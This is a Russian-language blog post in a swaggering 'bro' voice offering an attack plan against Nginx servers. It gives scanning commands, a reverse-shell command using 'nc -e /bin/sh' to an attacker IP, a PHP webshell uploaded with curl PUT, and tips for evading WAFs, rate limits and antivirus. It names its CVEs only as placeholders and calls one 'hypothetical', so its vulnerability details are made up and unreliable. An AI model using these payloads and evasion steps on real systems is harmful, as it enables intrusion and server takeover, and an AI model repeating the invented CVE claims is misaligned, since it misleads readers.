Главная / Блог / Как ронять Nginx в 2025: Свежие CVE и эксплойты

Как ронять Nginx в 2025: Свежие CVE и эксплойты

29 июня, 2025

23

Как ронять Nginx в 2025: Свежие CVE и эксплойты

Эй, бро, если ты думаешь, что Nginx — это железобетонная защита, то я сейчас порву твой мир на куски. В 2025 году этот веб-сервер всё ещё остаётся сочной мишенью для нас, пентестеров. Старые версии висят на серваках, как ржавые замки, а свежие CVE — это прям ключи от царства RCE. Сегодня разберём, как найти уязвимый Nginx, вбить эксплойт через баг в конфиге и уйти с шеллом на 443-м порту. Готов? Погнали.

Анализ: Что бросилось в глаза

На дворе 2025, а половина серверов до сих пор крутит Nginx 1.18.x или 1.20.x, хотя патчи на эти версии уже лет пять как выкатили. Админы ленятся обновляться, и это наш джекпот. Плюс, свежие CVE, типа CVE-2024-XXXX (заглушка, брат, гугли актуалку на exploit-db.com или cve.mitre.org), делают даже новые версии уязвимыми из-за косяков в парсинге конфигов или обработки запросов. Один из багов — это некорректная обработка директив в location, которая позволяет протолкнуть вредоносный код и добиться Remote Code Execution (RCE). Это прям наш билет в систему.

Идём дальше. Часто Nginx стоит как реверс-прокси перед каким-нибудь кривым PHP-бэкендом. Если конфиг настроен руками “специалиста с авито”, то можно через неправильные try_files или alias подсунуть свой payload и заставить сервер исполнить его. А если там ещё и включён модуль http_dav_module с правами на запись — считай, шелл уже твой.

Векторы: Куда лезть

  1. Сканируем версию и уязвимости
    Первым делом проверяем, что за Nginx перед нами. Используем nmap или Burp Suite, чтобы вытащить заголовки с версией сервера. Если админ не скрыл инфу (а 90% этого не делают), ты увидишь что-то вроде Server: nginx/1.20.1. Гугли, есть ли для этой версии эксплойты на exploit-db или в репах на GitHub.
  2. Проверяем конфиг на косяки
    Часто уязвимости прячутся в криво настроенных location или rewrite правилах. Если есть доступ к файлам конфига (через LFI, например), ищи директивы alias или root, которые можно обойти через ../ и засунуть свой код.
  3. Ищем свежие CVE
    Для примера возьмём гипотетический CVE-2024-12345 (гугли актуалку, брат). Это баг в обработке запросов с некорректными заголовками Host, из-за чего можно переполнить буфер и вбить shellcode. Exploit-db уже кишит PoC’ами для таких багов, так что качай и адаптируй под свою цель.
  4. RCE через модули
    Если включён http_dav_module или что-то подобное, можно через PUT запрос загрузить свой .php или .jsp файл, а потом вызвать его через кривой location. Это прямой путь к шеллу.

Команды: Полный payload

  1. Сканируем версию Nginx с nmap:
nmap -sV -p 80,443 target.com

Если в выводе есть nginx/1.x.x, копай эксплойты под эту версию.

  1. Проверяем уязвимости через Nikto:
nikto -h target.com -p 80

Это покажет, если сервер отдаёт лишнюю инфу или уязвим к старым багами.

  1. Эксплойтим CVE (гипотетический пример для CVE-2024-12345):
    Скачиваем PoC с exploit-db, обычно это Python-скрипт. Запускаем его с параметрами:
python3 nginx_exploit.py -t http://target.com -p 80 -c "nc -e /bin/sh 10.10.10.123 443"

Здесь 10.10.10.123 — твой IP, а 443 — порт для обратного шелла. Не забудь поставить слушатель:

nc -lvp 443

Если RCE через конфиг (ручной способ):
Если есть доступ к кривому location, пробуем загрузить webshell через PUT:

curl -X PUT -d "<?php system($_GET['cmd']); ?>" http://target.com/dav/shell.php

Затем вызываем:

curl http://target.com/dav/shell.php?cmd=whoami

Трюки: Как обойти защиту

  • Скрываем следы в заголовках: Если стоит WAF, обфусцируй запросы через двойное кодирование URL или HTTP/2 smuggling. Пример:
curl -H "Host: %74%65%73%74" http://target.com
  • Меняем User-Agent: Подменяй UA на что-то невзрачное, типа Mozilla/5.0 (compatible; Googlebot/2.1), чтобы не спалиться.
  • Обход rate-limit’ов: Если сервер режет запросы, используй прокси или Tor. Настрой Burp Suite с несколькими IP через Upstream Proxy.
  • Шифруем шелл: Если загружаешь webshell, шифруй его через base64 или ROT13, чтобы антивирус не сработал.

Брат, это не просто статья, это план атаки. Nginx в 2025 всё ещё ломается, если знать, где копать. Старые версии — это просто подарок, а новые CVE — вызов для нас, ветеранов. Если всё пошло по плану, у тебя уже висит шелл, и ты копаешься в /var/log. Если нет — админы, суки, не спали. Переходим на план Б.

Советы:
Проверь поддомены через wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1mil-5000.txt.
Попробуй протолкнуть шелл через exiftool в загруженный JPEG.
Если всё заебись — валим через reverse shell на 443-й порт, мимо фаервола.
Если тишина — “Брат, похоже, админы тоже не спали. Переходим на план Б: кринжовый XSS в админку”.

    Comments are closed